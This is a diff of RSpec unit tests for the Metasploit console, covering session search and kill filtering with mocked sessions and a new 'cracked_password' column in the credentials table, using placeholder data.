expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
No matching sessions.
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'Searches with sessions that have different ids and types' do
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 90), type: 'java', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 20000), type: 'cmd_shell', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'When the user specifies both type and checkin' do
|
||||
core.cmd_sessions('--search', 'session_id:1 session_type:meterpreter')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 session1 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user specifies both type and checkin but there are only partial matches' do
|
||||
core.cmd_sessions('--search', 'session_id:1 session_type:something')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
No matching sessions.
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'searches for checkin with sessions that do not respond to checkin' do
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::CommandShell, type: 'cmd_shell', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'When the user searches for checkin values' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:6s')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
No matching sessions.
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'with other flags' do
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
it 'When the user tries to kill all matching sessions but there are no matches' do
|
||||
core.cmd_sessions('--search', 'session_id:5', '-K')
|
||||
expect(@combined_output).to eq([
|
||||
'No matching sessions.'
|
||||
])
|
||||
end
|
||||
|
||||
it 'When the user tries to kill all matching sessions and there are matches' do
|
||||
expect(sessions[1]).not_to receive(:kill)
|
||||
expect(sessions[2]).to receive(:kill)
|
||||
expect(sessions[3]).to receive(:kill)
|
||||
core.cmd_sessions('--search', 'session_id:2 session_id:3', '-K')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Killing matching sessions...
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
3 session3 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#parse_duration' do
|
||||
{
|
||||
'1s' => 1,
|
||||
'2s' => 2,
|
||||
'3.5s' => 3,
|
||||
'1.5m' => 90,
|
||||
'1.5d' => 129600,
|
||||
'1d1h1m1s' => 90061,
|
||||
'1.5d1.5h1.5m1.5s' => 135091,
|
||||
'1.75m70s' => 175
|
||||
}.each do |input, expected|
|
||||
it "returns #{expected} seconds for the input #{input}" do
|
||||
expect(core.parse_duration(input)).to eq(expected)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -71,9 +71,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------',
|
||||
' thisuser thispass Password '
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
|
||||
' thisuser thispass Password '
|
||||
])
|
||||
end
|
||||
|
||||
@@ -83,8 +83,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------',
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
|
||||
' thisuser thispass Password '
|
||||
])
|
||||
end
|
||||
@@ -96,9 +96,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------',
|
||||
' nonblank_pass Password '
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
|
||||
' nonblank_pass Password '
|
||||
])
|
||||
end
|
||||
end
|
||||
@@ -109,9 +109,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------',
|
||||
' nonblank_user Password '
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
|
||||
' nonblank_user Password '
|
||||
])
|
||||
end
|
||||
end
|
||||
@@ -125,8 +125,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------'
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------'
|
||||
])
|
||||
end
|
||||
end
|
||||
@@ -137,8 +137,45 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------'
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------'
|
||||
])
|
||||
end
|
||||
end
|
||||
context 'showing new column of cracked_password for all the cracked passwords' do
|
||||
it 'should show the cracked password in the new column named cracked_passwords' do
|
||||
common_public = FactoryBot.create(:metasploit_credential_username, username: "this_username")
|
||||
core = FactoryBot.create(:metasploit_credential_core,
|
||||
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||
private: FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: "some_hash"),
|
||||
public: common_public,
|
||||
realm: nil,
|
||||
workspace: framework.db.workspace)
|
||||
cracked_core = FactoryBot.create(:metasploit_credential_core,
|
||||
origin: Metasploit::Credential::Origin::CrackedPassword.create!(metasploit_credential_core_id: core.id),
|
||||
private: FactoryBot.create(:metasploit_credential_password, data: "this_cracked_password"),
|
||||
public: common_public,
|
||||
realm: nil,
|
||||
workspace: framework.db.workspace)
|
||||
creds.cmd_creds('-u', 'this_username')
|
||||
expect(@output).to eq([
|
||||
"Credentials",
|
||||
"===========",
|
||||
"",
|
||||
"host origin service public private realm private_type JtR Format cracked_password",
|
||||
"---- ------ ------- ------ ------- ----- ------------ ---------- ----------------",
|
||||
" this_username some_hash Nonreplayable hash this_cracked_password"
|
||||
])
|
||||
end
|
||||
it "should show the user given passwords on private column instead of cracked_password column" do
|
||||
creds.cmd_creds('-u', 'thisuser')
|
||||
expect(@output).to eq([
|
||||
"Credentials",
|
||||
"===========",
|
||||
"",
|
||||
"host origin service public private realm private_type JtR Format cracked_password",
|
||||
"---- ------ ------- ------ ------- ----- ------------ ---------- ----------------",
|
||||
" thisuser thispass Password "
|
||||
])
|
||||
end
|
||||
end
|
||||
@@ -206,11 +243,36 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host origin service public private realm private_type JtR Format',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ----------',
|
||||
' thisuser thispass Password '
|
||||
'host origin service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
|
||||
' thisuser thispass Password '
|
||||
])
|
||||
end
|
||||
it 'should show all the cores whose private is either password or the private is cracked password' do
|
||||
common_public = FactoryBot.create(:metasploit_credential_username, username: "this_username")
|
||||
core = FactoryBot.create(:metasploit_credential_core,
|
||||
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||
private: FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: "some_hash"),
|
||||
public: common_public,
|
||||
realm: nil,
|
||||
workspace: framework.db.workspace)
|
||||
cracked_core = FactoryBot.create(:metasploit_credential_core,
|
||||
origin: Metasploit::Credential::Origin::CrackedPassword.create!(metasploit_credential_core_id: core.id),
|
||||
private: FactoryBot.create(:metasploit_credential_password, data: "this_cracked_password"),
|
||||
public: common_public,
|
||||
realm: nil,
|
||||
workspace: framework.db.workspace)
|
||||
creds.cmd_creds('-t', 'password')
|
||||
expect(@output).to eq([
|
||||
"Credentials",
|
||||
"===========",
|
||||
"",
|
||||
"host origin service public private realm private_type JtR Format cracked_password",
|
||||
"---- ------ ------- ------ ------- ----- ------------ ---------- ----------------",
|
||||
" thisuser thispass Password ",
|
||||
" this_username this_cracked_password Password "
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
context 'ntlm' do
|
||||
@@ -223,8 +285,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||
'Credentials',
|
||||
'===========',
|
||||
'',
|
||||
'host service public private realm private_type JtR Format',
|
||||
'---- ------- ------ ------- ----- ------------ ----------',
|
||||
'host service public private realm private_type JtR Format cracked_password',
|
||||
'---- ------- ------ ------- ----- ------------ ---------- ----------------',
|
||||
" thisuser #{ntlm_hash} NTLM hash"
|
||||
]
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user